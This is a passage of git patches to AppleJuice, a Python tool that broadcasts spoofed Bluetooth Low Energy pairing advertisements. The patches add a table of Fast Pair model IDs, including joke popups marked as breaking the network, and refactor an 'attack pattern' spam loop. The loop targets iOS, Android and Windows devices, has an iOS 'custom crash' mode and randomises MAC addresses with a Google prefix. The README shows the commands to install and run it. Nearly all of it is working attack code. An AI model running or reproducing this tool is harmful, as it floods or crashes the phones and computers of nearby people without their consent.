0x821F66, - "JBL Buds Pro": 0xF52494, - "JBL Live 300TWS": 0x718FA4, - "JBL Everest 110GA": 0x0002F0, - "Pixel Buds": 0x92BBBD, - "Google Pixel buds": 0x000006, - "Google Pixel buds 2": 0x060000, - "Sony XM5": 0xD446A7, - "Sony WF-1000XM4": 0x2D7A23, - "Razer Hammerhead TWS": 0x0E30C3, - "Razer Hammerhead TWS X": 0x72EF8D, - "Soundcore Spirit Pro GVA": 0x72FB00, - "LG HBS-835S": 0x0003F0, - - # Custom debug popups - "Flipper Zero": 0xD99CA1, - "Free Robux": 0x77FF67, - "Free VBucks": 0xAA187F, - "Rickroll": 0xDCE9EA, - "Animated Rickroll": 0x87B25F, # non visible and breaks network - "Boykisser": 0xF38C02, - "BLM": 0x1448C9, - "Xtreme": 0xD5AB33, - "Xtreme Cta": 0x0C0B67, - "Talking Sasquach": 0x13B39D, - "Mobile Hacker": 0x3D45DC, - "ClownMaster": 0xAA1FE1, # non visible and breaks network - "Obama": 0x7C6CDB, - "Ryanair": 0x005EF9, - "FBI": 0xE2106F, - "Tesla": 0xB37A62, - "Durka": 0x6B4025, -} - def make_packet_android(*, model: int = 0) -> tuple[Sequence[int], int]: if model == 0: - model_name = random.choice(list(fp_models)) - model = fp_models[model_name] + model_name = random.choice(list(all_fp_models)) + model = all_fp_models[model_name] + if isinstance(model, list): + model = random.choice(model) size = 14 packet = [0] * size i = 0 diff --git a/utils/fast_pair_models.py b/utils/fast_pair_models.py new file mode 100644 index 0000000..5f525ad --- /dev/null +++ b/utils/fast_pair_models.py @@ -0,0 +1,166 @@ +""" +All credits to https://github.com/DiamondRoPlayz/FastPair-Models +#dc712f0 +""" + + +genuine_fp_models = { + # Genuine devices, Discovered by @DiamondRoPlayz + "Razer Hammerhead TWS X": 0x72EF8D, + "Razer Hammerhead TWS": 0x0E30C3, + "Test 00000D": 0x00000D, + "Android Auto": [0x000007, 0x070000], + "Foocorp Foophones": [0x000008, 0x080000], + "Test Android TV": [0x000009, 0x090000], + "Test 00000a - Anti-Spoofing": [0x00000A, 0x0A0000], + "Google Gphones": [0x00000B, 0x0B0000, 0x0C0000], + "Google Pixel Buds": [0x000006, 0x060000], + "Fast Pair Headphones": [0x000048, 0x000049, 0x480000, 0x490000], + "Test 000035": [0x000035, 0x350000], + "LG HBS1110": 0x001000, + "AIAIAI TMA-2 (H60)": 0x002000, + "Libratone Q Adapt On-Ear": [0x003000, 0x003001], + "Arduino 101": [0x000047, 0x470000], + "Bose QuietComfort 35 II": [0x0000F0, 0x0100F0, 0xF00000], + "T10": 0xF00400, + "M&D MW65": 0x003B41, + "Cleer FLOW Ⅱ": 0x003D8A, + "Panasonic RP-HD610N": 0x005BC3, + "soundcore Glow Mini": 0x008F7D, + "boAt Airdopes 621": 0x00A168, + "Jabra Elite 2": 0x00AA48, + "Beoplay E8 2.0": 0x00AA91, + "Smart Controller 1": 0x00B727, + "Sony WF-1000X": [0x00C95C, 0x01C95C], + "Pioneer SE-MS9BN": 0x00FA72, + "Nirvana Ion": 0x011242, + "Cleer EDGE Voice": 0x013D8A, + "Beoplay H9 3rd Generation": 0x01AA91, + + "BLE-Phone": 0x01E5CE, + "WH-1000XM4": [0x01EEB4, 0x058D08], + "Goodyear": 0x0200F0, + "B&O Earset": 0x02AA91, + "Sony WH-1000XM2": [0x02C95C, 0x03C95C, 0x06C95C, 0x07C95C], + "ATH-CK1TW": 0x02D815, + "TCL MOVEAUDIO S200": 0x02E2A9, + "Plantronics PLT_K2": [0x035754, 0x045754], + "PLT V8200 Series": [0x035764, 0x045764], + "DENON AH-C830NCW": 0x038B91, + "Beats Studio Buds": 0x038F16, + "Michael Kors Darci 5e": 0x039F8F, + "B&O Beoplay H8i": 0x03AA91, + "YY2963": 0x03B716, + "MOTO BUDS 135": 0x03C99C, + "Writing Account Key": 0x03F5D4, + + "Beoplay H4": 0x04AA91, + "Sony WI-1000X": [0x04C95C, 0x05C95C], + "Major III Voice": 0x050F0C, + "MINOR III": 0x052CC7, + "Galaxy S23 Ultra": 0x0577B1, + "TicWatch Pro 5": 0x057802, + "Pixel Buds": [0x0582FD, 0x92BBBD], + "WONDERBOOM 3": 0x05A963, + "Galaxy S20+": 0x05A9BC, + "B&O Beoplay E6": 0x05AA91, + "Galaxy S21 5G": 0x06AE20, + "OPPO Enco Air3 Pro": 0x06C197, + "soundcore Liberty 4 NC": 0x06D8FC, + "Technics EAH-AZ60M2": 0x0744B6, + + "WF-C700N": 0x07A41C, + "Nest Hub Max": 0x07F426, + + # JBL devices, Discovered by @DiamondRoPlayz + "JBL Everest 110GA - Gun Metal": [0xF00200, 0x0002F0, 0xF00201, 0x0102F0], + "JBL Everest 110GA - Silver": [0xF00202, 0x0202F0], + + "JBL Everest 310GA - Brown": [0xF00203, 0x0302F0], + "JBL Everest 310GA - Gun Metal": [0xF00204, 0x0402F0], + "JBL Everest 310GA - Silver": [0xF00205, 0x0502F0], + "JBL Everest 310GA - Purple": [0xF00206, 0x0602F0], + + "JBL Everest 710GA - Gun Metal": [0xF00207, 0x0702F0], + "JBL Everest 710GA - Silver": [0xF00208, 0x0802F0], + + "JBL LIVE400BT - Black": [0xF00209, 0xF0020D], + "JBL LIVE400BT - White": 0xF0020A, + "JBL LIVE400BT - Blue": 0xF0020B, + "JBL LIVE400BT - Red": 0xF0020C, + + "JBL LIVE500BT - Black": [0xF0020E, 0xF00212], + "JBL LIVE500BT - White": 0xF0020F, + "JBL LIVE500BT - Blue": 0xF00210, + "JBL LIVE500BT - Red": 0xF00211, + + "JBL LIVE650BTNC - Black": 0xF00213, + "JBL LIVE650BTNC - White": 0xF00214, + "JBL LIVE650BTNC - Blue": 0xF00215, + + "JBL REFLECT MINI NC": 0x02D886, + "JBL TUNE770NC": 0x02DD4F, + "JBL LIVE FLEX": 0x02F637, + "JBL TUNE760NC": 0x038CC7, + + "JBL WAVE BEAM - Blue": 0x04ACFC, + "JBL TUNE 720BT": 0x04AFB8, + "JBL TUNE125TWS": 0x054B2D, + "JBL LIVE220BT": 0x05C452, + "JBL LIVE770NC": 0x0660D7, + + # LG devices, Discovered by @DiamondRoPlayz + "LG HBS-835S": [0xF00300, 0x0003F0], + "LG HBS-835": [0xF00301, 0x0103F0], + "LG HBS-830": [0xF00302, 0x0203F0], + "LG HBS-930": [0xF00303, 0x0303F0], + "LG HBS-1010": [0xF00304, 0x0403F0], + "LG HBS-1500": [0xF00305, 0x0503F0], + "LG HBS-1700": [0xF00306, 0x0603F0], + "LG HBS-1120": [0xF00307, 0x0703F0], + "LG HBS-1125": [0xF00308, 0x0803F0], + "LG HBS-2000": [0xF00309, 0x0903F0], + + # Genuine devices, Discovered by @Willy-JL and @Spooks4576 + "Bose NC 700": 0xCD8256, + "JBL Buds Pro": 0xF52494, + "JBL Live 300TWS": 0x718FA4, + "JBL Flip 6": 0x821F66, + "Sony XM5": 0xD446A7, + "Sony WF-1000XM4": 0x2D7A23, + + # Genuine devices, Discovered by @xAstroBoy + "Soundcore Spirit Pro GVA": 0x72FB00, + "Bisto CSR8670 Dev Board": 0x0001F0, # non visible and breaks network + + # Genuine actions, Discovered by @Mr-Proxy-source + "Set Up Device aka Google Gphones": 0x00000C, +} + +custom_fp_models = { + # Custom debug popups, Created by @DiamondRoPlayz + "Obama": 0x7C6CDB, + "Ryanair": 0x005EF9, + "FBI": 0xE2106F, + "Tesla": 0xB37A62, + + # Custom debug popups from flipper rom + "Flipper Zero": 0xD99CA1, + "Free Robux": 0x77FF67, + "Free VBucks": 0xAA187F, + "Rickroll": 0xDCE9EA, + "Animated Rickroll": 0x87B25F, # non visible and breaks network + "Boykisser": 0xF38C02, + "BLM": 0x1448C9, + "Xtreme": 0xD5AB33, + "Xtreme Cta": 0x0C0B67, + "Talking Sasquach": 0x13B39D, + "ClownMaster": 0xAA1FE1, # non visible and breaks network + + "Mobile Hacker": 0x3D45DC, + + # My own custom debug popups + "Durka": 0x6B4025, +} + +all_fp_models= genuine_fp_models | custom_fp_models From 3a2552d24e4986e246adfbe83880b8215981b70d Mon Sep 17 00:00:00 2001 From: barsikus007 Date: Sat, 28 Oct 2023 05:21:57 +0300 Subject: [PATCH 08/10] custom crash fix --- app.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app.py b/app.py index ad7e10e..cb45797 100644 --- a/app.py +++ b/app.py @@ -478,7 +478,7 @@ def main(): stop_le_advertising(sock) elif args.custom_crash: while True: - bt_data, *_ = make_custom_crash_data() + bt_data = make_custom_crash_data() adv_type = args.random_adv and random.randint(0x01,0x04) or 0x03 # TODO check valid ones if args.random_mac: random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) From 6f4203eb4c1754dd68ed60a2556f9660d949f27e Mon Sep 17 00:00:00 2001 From: barsikus007 Date: Mon, 30 Oct 2023 21:09:18 +0300 Subject: [PATCH 09/10] refactor of spamming code --- README.md | 10 +++ app.py | 239 ++++++++++++++++++++++++++++++++---------------------- 2 files changed, 154 insertions(+), 95 deletions(-) diff --git a/README.md b/README.md index 20af50a..392d13a 100644 --- a/README.md +++ b/README.md @@ -80,6 +80,16 @@ Later tested on Raspberry Pi 3B+ and Raspberry Pi Zero W running Kali Linux with ## Installation Instructions Please follow in this exact order or you might run into issues with bluetooth dependencies. +### kali (tested only on pi-zero-w) +If you use kali, you only need to run this steps: +```bash +sudo apt update && sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev libnl-genl-3-dev libnl-route-3-dev cmake libbluetooth-dev +pip install git+https://github.com/pybluez/pybluez.git#egg=pybluez +sudo setcap cap_net_raw,cap_net_admin+eip $(eval readlink -f $(which python)) +git clone https://github.com/ECTO-1A/AppleJuice.git && cd ./AppleJuice +python app.py -i 20 -t 0.5 -r +``` + ### Clone the Main Repo ```bash git clone https://github.com/ECTO-1A/AppleJuice.git && cd ./AppleJuice diff --git a/app.py b/app.py index cb45797..1efbff0 100644 --- a/app.py +++ b/app.py @@ -2,6 +2,8 @@ # Github: https://github.com/ECTO-1A # Based on the previous work of chipik / _hexway +from dataclasses import dataclass +from pprint import pprint import random import argparse from time import sleep @@ -159,7 +161,7 @@ class ContinuityType(Enum): } -def make_packet(packet_type: ContinuityType, *, model: int = 0, action: int = 0) -> tuple[Sequence[int], int]: +def make_packet_apple(packet_type: ContinuityType, *, model: int = 0, action: int = 0) -> tuple[Sequence[int], int]: if model == 0: model = random.choice(list(pp_models.values())) if action == 0: @@ -358,22 +360,20 @@ def make_packet_windows(packet_type: SwiftPairType = SwiftPairType.BREDROnly, *, return packet, size -def make_proximity_pair_data(option: int) -> Sequence[int]: - name = bt_data_options[option] - model = pp_models[name] - packet, size = make_packet(ContinuityType.ProximityPair, model=model) +def make_proximity_pair_data(device_name: str) -> Sequence[int]: + model = pp_models[device_name] + packet, size = make_packet_apple(ContinuityType.ProximityPair, model=model) return packet -def make_nearby_action_data(option: int) -> Sequence[int]: - name = bt_data_options[option] +def make_nearby_action_data(name: str) -> Sequence[int]: model = na_actions[name] - packet, size = make_packet(ContinuityType.NearbyAction, model=model) + packet, size = make_packet_apple(ContinuityType.NearbyAction, model=model) return packet def make_custom_crash_data() -> Sequence[int]: - packet, size = make_packet(ContinuityType.CustomCrash) + packet, size = make_packet_apple(ContinuityType.CustomCrash) return packet @@ -384,7 +384,7 @@ def make_custom_crash_data() -> Sequence[int]: # exit() -def get_bt_data(option: int) -> Sequence[int] | None: +def make_apple_data(option: int) -> Sequence[int] | None: bt_data = hex_data.get(option) if not bt_data: @@ -393,116 +393,165 @@ def get_bt_data(option: int) -> Sequence[int] | None: if "AirPods" not in name and "Beats" not in name: return bt_data - return make_proximity_pair_data(option) + return make_proximity_pair_data(name) + + +class SpamTarget(Enum): + random = auto() # All except CustomCrash and Windows (WIP) + IOS = auto() + Android = auto() + Windows = auto() + IOSCustomCrash = auto() + + +@dataclass +class AttackPattern(): + dev_id: int + interval: int + adv_time: float + random_mac: bool + random_adv: bool + spam_data: list + spam_target: SpamTarget + permanent: bool + + +def start_spam(sock, *, pattern: AttackPattern) -> None: + spam_data = random.choice(pattern.spam_data) if pattern.spam_data else "" + match pattern.spam_target: + case SpamTarget.random: + pattern.spam_target = random.choice( + [ + SpamTarget.IOS, + SpamTarget.Android, + ] + ) + return start_spam(sock, pattern=pattern) + case SpamTarget.IOS: + if spam_data: + if spam_data.isalnum(): + selected_option = int(spam_data) + if not 1 <= selected_option <= len(bt_data_options): + message = ( + "Invalid data option: {selected_option}" + + "\nAvailable data options:" + ) + for option, description in bt_data_options.items(): + message += f"\n{option}: {description}" + raise ValueError(message) + else: + try: + selected_option = list(bt_data_options.keys())[ + [ + _.lower() for _ in bt_data_options.values() + ].index(spam_data.lower()) + ] + except ValueError as e: + message = ( + f"Invalid device name: {spam_data}" + + "\nAvailable device names:" + ) + for device_name in bt_data_options.values(): + message += f"\n{device_name}" + raise ValueError(message) from e + else: + selected_option = random.choice(list(bt_data_options.keys())) + bt_data = make_apple_data(selected_option) + case SpamTarget.Android: + bt_data, *_ = make_packet_android(model=(int(spam_data, 16) if spam_data.isalnum() else 0)) + case SpamTarget.Windows: + bt_data, *_ = make_packet_windows(name=spam_data) + case SpamTarget.IOSCustomCrash: + bt_data = make_custom_crash_data() + case _: + return + + if pattern.random_mac: + random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) + + # TODO check if specific mac matter + if pattern.spam_target in [SpamTarget.Android, SpamTarget.Windows ]: + random_mac = f"d4:3a:2c:{random_mac[9:]}" # google mac prefix + + change_internal_mac_addr(sock, random_mac) + + # TODO check if 0x01, 0x02, 0x04 are valid ones (especially 0x01 and 0x04) + # ADV_IND = 0x00 + # ADV_DIRECT_IND = 0x01 + # ADV_SCAN_IND = 0x02 + # ADV_NONCONN_IND = 0x03 + # ADV_SCAN_RSP = 0x04 + # adv_type = args.random_adv and random.randint(0x01,0x04) or 0x03 + adv_type = pattern.random_adv and random.randint(0x02,0x03) or 0x03 + + start_le_advertising(sock, adv_type=adv_type, min_interval=pattern.interval, max_interval=pattern.interval, data=bt_data) + while True: + sleep(pattern.adv_time) + if not pattern.permanent: + break + stop_le_advertising(sock) def main(): parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval (default 200))') parser.add_argument('-t', '--adv-time', default=2.0, type=float, help='Advertising time (default 2))') - parser.add_argument('-d', '--data', type=int, help='Select a message to send (e.g., -d 1)') parser.add_argument('-b', '--bt-dev-id', default=0, type=int, help='Bluetooth device ID (default 0)') - parser.add_argument('--device-name', type=str, help='Specify a device name (e.g., --device-name "AirPods Pro")') + parser.add_argument('-d', '--data', type=str, + help='Select a message or device name to send (e.g., \'-d 1\' or \'-d "AirPods Pro"\') (can be splitted by , for multiple)') - # Add random argument - parser.add_argument('-r', '--random', action='store_true', help='Randomly loop through advertising data') + # Behavior + parser.add_argument('-r', '--random', action='store_true', help='Randomly loop through advertising data (default) (also, forces random mac (random adv is WIP)))') + parser.add_argument('--repeat', action='store_true', help='Infinitely repeat specified advertising data, without re-enabling') + + # Targets parser.add_argument('-c', '--custom-crash', action='store_true', help='Use custom crash method by @ECTO-1A') - parser.add_argument('-a', '--android', action='store_true', help='Android BLE spam') + parser.add_argument('-ap', '--apple', action='store_true', help='Apple BLE spam') + parser.add_argument('-an', '--android', action='store_true', help='Android BLE spam') parser.add_argument('-w', '--windows', action='store_true', help='Windows BLE spam') - parser.add_argument('--windows-text', default="", type=str, help='Windows BLE spam text (leave blank to use names.txt file or default values from flipper firmware)') - parser.add_argument('--random-mac', action='store_true', help='Randomly select mac address if -r, -c or -a specified') - parser.add_argument('--random-adv', action='store_true', help='Randomly select advertisement event types if -r, -c or -a specified') + # Randomization + parser.add_argument('--random-mac', action='store_true', help='Randomly select mac address') + parser.add_argument('--random-adv', action='store_true', help='Randomly select advertisement event types') args = parser.parse_args() - if (args.data is None) and (args.device_name is None) and not args.random and not args.custom_crash and not args.android and not args.windows: - print("Please select a message option using -d or --device-name. Use --random for random selection.") - print("Available message options and device names:") - for option, description in bt_data_options.items(): - print(f"{option}: {description}") - return - - if args.data and args.data not in bt_data_options: - print(f"Invalid data option: {args.data}") - print("Available data options:") - for option, description in bt_data_options.items(): - print(f"{option}: {description}") - return - - if args.device_name and args.device_name.lower() not in [_.lower() for _ in bt_data_options.values()]: - print(f"Invalid device name: {args.device_name}") - print("Available device names:") - for device_name in bt_data_options.values(): - print(device_name) - return + spam_target = ( + SpamTarget.IOS if args.apple else + SpamTarget.Android if args.android else + SpamTarget.Windows if args.windows else + SpamTarget.IOSCustomCrash if args.custom_crash else + SpamTarget.random) + attack_pattern = AttackPattern( + dev_id=args.bt_dev_id, + interval=args.interval, + adv_time=args.adv_time, + random_mac=True if SpamTarget.random else args.random_mac, + random_adv=args.random_adv, + spam_data=args.data.split(",") if args.data else [], + spam_target=spam_target, + permanent=args.repeat, + # permanent=hasattr(args, "data"), # TODO + ) + pprint(attack_pattern) # the default Bluetooth device is hci0 - dev_id = args.bt_dev_id - toggle_device(dev_id, True) + toggle_device(attack_pattern.dev_id, True) try: - sock = bluez.hci_open_dev(dev_id) - if args.random_mac: - original_mac = get_internal_mac_addr(dev_id) + sock = bluez.hci_open_dev(attack_pattern.dev_id) + if args.random or args.random_mac: + original_mac = get_internal_mac_addr(attack_pattern.dev_id) print(f"Your original mac address is {original_mac}\nIt will restored after you stop the script\n") except Exception as e: - print(f"Unable to connect to Bluetooth hardware {dev_id}: {e}") + print(f"Unable to connect to Bluetooth hardware {attack_pattern.dev_id}: {e}") return print("Advertising Started... Press Ctrl+C to Stop") try: - if args.windows: - while True: - bt_data, *_ = make_packet_windows(name=args.windows_text) - print(bt_data) - # adv_type = args.random_adv and random.randint(0x01,0x04) or 0x03 # TODO check valid ones - adv_type = args.random_adv and random.randint(0x02,0x03) or 0x03 - if args.random_mac: - random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) - change_internal_mac_addr(sock, random_mac) - start_le_advertising(sock, adv_type=adv_type, min_interval=args.interval, max_interval=args.interval, data=bt_data) - sleep(args.adv_time) - stop_le_advertising(sock) - if args.android: - while True: - bt_data, *_ = make_packet_android() - adv_type = args.random_adv and random.randint(0x02,0x03) or 0x03 - if args.random_mac: - random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) - random_mac = f"d4:3a:2c:{random_mac[9:]}" # google mac prefix - change_internal_mac_addr(sock, random_mac) - start_le_advertising(sock, adv_type=adv_type, min_interval=args.interval, max_interval=args.interval, data=bt_data) - sleep(args.adv_time) - stop_le_advertising(sock) - elif args.custom_crash: - while True: - bt_data = make_custom_crash_data() - adv_type = args.random_adv and random.randint(0x01,0x04) or 0x03 # TODO check valid ones - if args.random_mac: - random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) - change_internal_mac_addr(sock, random_mac) - start_le_advertising(sock, adv_type=adv_type, min_interval=args.interval, max_interval=args.interval, data=bt_data) - sleep(args.adv_time) - stop_le_advertising(sock) - elif args.random: - while True: - selected_option = random.choice(list(bt_data_options.keys())) - bt_data = get_bt_data(selected_option) - adv_type = args.random_adv and random.randint(0x01,0x04) or 0x03 # TODO check valid ones - if args.random_mac: - random_mac = ":".join([f"{random.randint(0x00, 0xff):02x}" for _ in range(6)]) - change_internal_mac_addr(sock, random_mac) - start_le_advertising(sock, adv_type=adv_type, min_interval=args.interval, max_interval=args.interval, data=bt_data) - sleep(args.adv_time) - stop_le_advertising(sock) - else: - selected_option = args.data or list(bt_data_options.keys())[[_.lower() for _ in bt_data_options.values()].index(args.device_name.lower())] - bt_data = get_bt_data(selected_option) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, data=bt_data) - while True: - sleep(args.adv_time) + while True: + start_spam(sock, pattern=attack_pattern) except KeyboardInterrupt: stop_le_advertising(sock) except Exception as e: From b6005e268c16dba3b2737fbc23788d6097faa796 Mon Sep 17 00:00:00 2001 From: barsikus007 Date: Thu, 2 Nov 2023 07:18:05 +0300 Subject: [PATCH 10/10] brand new cod image on windows spam && packet builder && random and apple fixes --- README.md | 32 ++- app.py | 432 +++++++++++++++++++-------------------- docs/notifications.md | 42 ++-- utils/class_of_device.py | 243 ++++++++++++++++++++++ 4 files changed, 497 insertions(+), 252 deletions(-) create mode 100644 utils/class_of_device.py diff --git a/README.md b/README.md index 392d13a..f86028e 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,8 @@ **9/21/2023**

Thanks to [0DayCTF](https://github.com/0dayctf) the random option has been added!
+*By the way, the random mode is enabled by default now.*
+You need to specify `--repeat` flag to disable that.

*To run with random :*
```python3 app.py --random```
@@ -87,7 +89,8 @@ sudo apt update && sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev l pip install git+https://github.com/pybluez/pybluez.git#egg=pybluez sudo setcap cap_net_raw,cap_net_admin+eip $(eval readlink -f $(which python)) git clone https://github.com/ECTO-1A/AppleJuice.git && cd ./AppleJuice -python app.py -i 20 -t 0.5 -r +# better to hide your pretty-alias (https://stackoverflow.com/a/67193246/15844518) +python app.py -t 0.02 ``` ### Clone the Main Repo @@ -140,14 +143,24 @@ Devices: ### Available options All messages have been combined into a single app. You can now run `app.py` to get a list of available options.
-To run the script use `-d (number of message)` +To run the script use `-ap -d (number of message)` > **Example**
-> `app.py -d 13` +> `app.py -ap -d 13` ```python -python3 app.py -Please select a message option using -d or --device-name. Use --random for random selection. -Available message options and device names: + +AttackPattern(dev_id=0, + interval=20, + adv_time=1.0, + random_mac=False, + random_adv=False, + spam_data=['0'], + spam_target=, + permanent=False) + +Advertising Started... Press Ctrl+C to Stop +An error occurred (): Invalid data option: {selected_option} +Available data options: 1: AirPods 2: AirPods Pro 3: AirPods Max @@ -165,7 +178,6 @@ Available message options and device names: 15: Beats Studio Pro 16: Beats Fit Pro 17: Beats Studio Buds+ - 18: AppleTV Setup 19: AppleTV Pair 20: AppleTV Join This AppleTV @@ -182,13 +194,13 @@ Available message options and device names: ## Examples -`python3 app.py --device-name "Beats Solo Pro"` +`python3 app.py -ap -d "Beats Solo Pro"` > **Model**: Beats Solo Pro -`python3 app.py --device-name "Airpods Max"` -> **Model**: Airpods Max +`python3 app.py -ap -d "AirPods Max"` +> **Model**: AirPods Max diff --git a/app.py b/app.py index 1efbff0..e158be2 100644 --- a/app.py +++ b/app.py @@ -1,19 +1,23 @@ # Author: ECTO-1A & SAY-10 # Github: https://github.com/ECTO-1A +import argparse +import random # Based on the previous work of chipik / _hexway from dataclasses import dataclass +from enum import Enum, auto from pprint import pprint -import random -import argparse from time import sleep -from enum import Enum, auto from typing import Sequence import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import change_internal_mac_addr, get_internal_mac_addr, toggle_device, start_le_advertising, stop_le_advertising +from utils.bluetooth_utils import (change_internal_mac_addr, + get_internal_mac_addr, start_le_advertising, + stop_le_advertising, toggle_device) from utils.fast_pair_models import all_fp_models +from utils.class_of_device import cod + # Add a docstring to describe the purpose of the script help_desc = ''' @@ -23,44 +27,47 @@ ---ECTO-1A August 2023--- Based on the previous work of chipik / _hexway +Ported from flipper firmware by https://github.com/barsikus007 ''' -# Define different bt_data options and their corresponding descriptions -bt_data_options = { - 1: "AirPods", - 2: "AirPods Pro", - 3: "AirPods Max", - 4: "AirPods 2nd Gen", - 5: "AirPods 3rd Gen", - 6: "AirPods Pro 2nd Gen", - 7: "PowerBeats 3", - 8: "PowerBeats Pro", - 9: "Beats Solo Pro", - 10: "Beats Studio Buds", - 11: "Beats Flex", - 12: "Beats X", - 13: "Beats Solo 3", - 14: "Beats Studio 3", - 15: "Beats Studio Pro", - 16: "Beats Fit Pro", - 17: "Beats Studio Buds+", - 18: "AppleTV Setup", # no picture - 19: "AppleTV Pair", # no picture - 20: "AppleTV Join This AppleTV", - 21: "AppleTV AppleID Setup", - 22: "AppleTV Wireless Audio Sync", - 23: "AppleTV HomeKit Setup", - 24: "AppleTV Keyboard", - 25: "AppleTV Connecting...", - 26: "AppleTV Color Balance", - 27: "HomePod Setup", - 28: "Setup New iPhone", - 29: "Transfer Phone Number", +class PacketBuilder: + packet: list[int] = [] + size = 0 + i = 0 + + def __init__(self, size: int): + if size > 31: + raise ValueError(f"Name and type length sum is too long ({size} > 31)") + self.packet = [0] * size + self.size = size + + def override(self, count: int): + self.i -= count + + def add(self, data): + self.packet[self.i] = data + self.i += 1 + + def add_bytearray(self, data): + for byte in data: + self.add(byte) + + def add_random_bytearray(self, size: int): + self.add_bytearray([random.randint(0, 255) for _ in range(size)]) + + def add_random_mac(self): + self.add_random_bytearray(6) + + def build(self): + assert self.i == self.size == len(self.packet) + return self.packet + + def print(self) -> str: + return "(" + (', '.join([f"0x{c:02X}" for c in self.packet])) + ")" + - # Add more options as needed (don't forget to review get_bt_data function below) -} class ContinuityType(Enum): AirDrop = 0x05 @@ -125,6 +132,42 @@ class ContinuityType(Enum): "Transfer Phone Number": 0x02, } +# Define different bt_data options and their corresponding descriptions +bt_data_options = { + 1: "AirPods", + 2: "AirPods Pro", + 3: "AirPods Max", + 4: "AirPods 2nd Gen", + 5: "AirPods 3rd Gen", + 6: "AirPods Pro 2nd Gen", + 7: "PowerBeats 3", + 8: "PowerBeats Pro", + 9: "Beats Solo Pro", + 10: "Beats Studio Buds", + 11: "Beats Flex", + 12: "Beats X", + 13: "Beats Solo 3", + 14: "Beats Studio 3", + 15: "Beats Studio Pro", + 16: "Beats Fit Pro", + 17: "Beats Studio Buds+", + + 18: "AppleTV Setup", # no picture + 19: "AppleTV Pair", # no picture + 20: "AppleTV Join This AppleTV", + 21: "AppleTV AppleID Setup", + 22: "AppleTV Wireless Audio Sync", + 23: "AppleTV HomeKit Setup", + 24: "AppleTV Keyboard", + 25: "AppleTV Connecting...", + 26: "AppleTV Color Balance", + 27: "HomePod Setup", + 28: "Setup New iPhone", + 29: "Transfer Phone Number", + + # Add more options as needed (don't forget to review get_bt_data function below) +} + # Hex data map hex_data = { 1: (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), @@ -160,46 +203,34 @@ class ContinuityType(Enum): # Add more as needed (don't forget to review get_bt_data function below) } - -def make_packet_apple(packet_type: ContinuityType, *, model: int = 0, action: int = 0) -> tuple[Sequence[int], int]: +def make_packet_apple(packet_type: ContinuityType, *, model: int = 0, action: int = 0) -> Sequence[int]: if model == 0: model = random.choice(list(pp_models.values())) if action == 0: action = random.choice(list(na_actions.values())) size = packet_sizes[packet_type] - packet = [0] * size - i = 0 - packet[i] = size - 1 # Size - i+=1 - packet[i] = 0xFF # AD Type (Manufacturer Specific) - i+=1 - packet[i] = 0x4C # Company ID (Apple, Inc.) - i+=1 - packet[i] = 0x00 # ... - i+=1 - packet[i] = packet_type.value # Continuity Type - i+=1 - packet[i] = size - i - 1 # Continuity Size - i+=1 + builder = PacketBuilder(size) + + builder.add(size - 1) # Size + builder.add(0xFF) # AD Type (Manufacturer Specific) + builder.add(0x4C) # Company ID (Apple, Inc.) + builder.add(0x00) # ... + builder.add(packet_type.value) # Continuity Type + builder.add(size - builder.i - 1) # Continuity Size + match packet_type: case ContinuityType.ProximityPair: - packet[i] = 0x07 # Prefix (paired 0x01 new 0x07 airtag 0x05) - i += 1 - packet[i] = (model >> 0x08) & 0xFF - i += 1 - packet[i] = (model >> 0x00) & 0xFF - i += 1 - packet[i] = 0x55 # Status - i += 1 # TODO why 0x55 not 0x75 ? - packet[i] = random.randint(0, 99) # Buds Battery Level - i += 1 - packet[i] = random.randint(0, 79) # Charging Status and Battery Case Level - i += 1 - packet[i] = random.randint(0, 255) # Lid Open Counter - i += 1 - packet[i:i+16] = [random.randint(0, 255) for _ in range(16)] # Encrypted Payload - i += 16 - return packet, size + builder.add(0x07) # Prefix (paired 0x01 new 0x07 airtag 0x05) + builder.add((model >> 0x08) & 0xFF) + builder.add((model >> 0x00) & 0xFF) + builder.add(0x55) # Status TODO why 0x55 not 0x75 ? + builder.add(random.randint(0, 99)) # Buds Battery Level + builder.add(random.randint(0, 79)) # Charging Status and Battery Case Level + builder.add(random.randint(0, 255)) # Lid Open Counter + builder.add(0x00) # Device Color + builder.add(0x00) + builder.add_random_bytearray(16) + return builder.build() case ContinuityType.NearbyAction: flags = 0xC0 if action == 0x20 and random.randint(0, 1): @@ -207,13 +238,10 @@ def make_packet_apple(packet_type: ContinuityType, *, model: int = 0, action: in if action == 0x09 and random.randint(0, 1): flags = 0x40 # Glitched 'Setup New Device' - packet[i] = flags - i += 1 - packet[i] = action - i += 1 - packet[i:i+3] = [random.randint(0, 255) for _ in range(3)] # Authentication Tag - i += 3 - return packet, size + builder.add(flags) + builder.add(action) + builder.add_random_bytearray(3) # Authentication Tag + return builder.build() case ContinuityType.CustomCrash: # Found by @ECTO-1A @@ -224,76 +252,53 @@ def make_packet_apple(packet_type: ContinuityType, *, model: int = 0, action: in if action == 0x09 and random.randint(0, 1): flags = 0x40 # Glitched 'Setup New Device' - i -= 2 # Override segment header - packet[i] = ContinuityType.NearbyAction.value # Continuity Type - i += 1 - packet[i] = 0x05 # Continuity Size - i += 1 - packet[i] = flags - i += 1 - packet[i] = action - i += 1 - packet[i:i+3] = [random.randint(0, 255) for _ in range(3)] # Authentication Tag - i += 3 - - packet[i] = 0x00 # Terminator (?) - i += 1 - packet[i] = 0x00 # ... - i += 1 - - packet[i] = 